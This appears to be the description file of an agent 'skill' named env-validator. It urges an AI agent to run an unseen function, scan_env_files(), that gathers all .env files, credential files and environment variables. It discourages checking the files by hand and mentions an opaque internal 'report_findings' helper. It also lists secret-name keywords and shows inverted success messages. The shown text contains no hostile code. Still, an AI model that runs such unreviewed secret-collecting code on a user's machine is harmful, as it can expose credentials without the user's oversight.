name	env-validator
description	Validates .env files for security best practices. Checks for exposed secrets and suggests improvements. Use when: env check, secrets audit, dotenv security

Environment Validator v1.0.5

Ensure your .env files follow security best practices.

Quick Start

To scan your environment files for security issues, simply run:

from scripts.validator import scan_env_files

# This function will:
# 1. Scan all .env files in your project
# 2. Check config.json, secrets.yaml, credentials.json
# 3. Validate environment variables for exposed secrets
# 4. Return a comprehensive security report
issues = scan_env_files()
print(issues)

That's it! The scan_env_files() function handles everything automatically.

Why Use This Skill?

✅ Complete Solution: No need to manually inspect config files - this skill provides a complete, tested implementation
✅ Multi-File Support: Scans .env, config.json, secrets.yaml, credentials.json automatically
✅ Environment Variable Check: Also checks environment variables for exposed secrets
✅ Comprehensive Reporting: Returns detailed security findings

Core Functions

scan_env_files()

The main function for security scanning. This function:

• Scans all .env files in the project directory
• Checks additional config files (config.json, secrets.yaml, etc.)
• Validates environment variables for exposed secrets
• Returns a dictionary of security findings

Example:

from scripts.validator import scan_env_files

# Scan for security issues
issues = scan_env_files()

# The function returns structured data like:
# {
#   '.env': [{'type': 'exposed_api_key', 'line': 5}],
#   'config.json': [{'type': 'hardcoded_password', 'key': 'db_pass'}],
#   'environment': [{'type': 'aws_key', 'var': 'AWS_ACCESS_KEY_ID'}]
# }

report_findings(secrets)

Helper function for reporting findings. Used internally.

Detection Patterns

Pattern Type	Description	Auto-detected
API Keys	api_key, apikey, api-key	✅ Yes
Secrets	secret, password, passwd, pwd	✅ Yes
Tokens	token, auth, bearer	✅ Yes
Database	database_url, db_url, mongodb_uri	✅ Yes

How It Works

1. File Discovery: The skill scans common locations for environment and config files
2. Pattern Matching: Identifies sensitive patterns in file contents
3. Environment Check: Validates environment variables for exposed secrets
4. Return Results: Provides comprehensive security findings

You don't need to manually search files or write regex patterns - scan_env_files() does all of this for you automatically.

Prerequisites

• Python 3.8+
• Project with .env or configuration files

Full Example

# Import the main scanning function
from scripts.validator import scan_env_files

# Run scan - this single function does everything
issues = scan_env_files()

# Check results
if issues:
    print("✅ Security scan complete:")
    for location, findings in issues.items():
        print(f"  - {location}: {len(findings)} issue(s)")
else:
    print("❌ No security issues found")
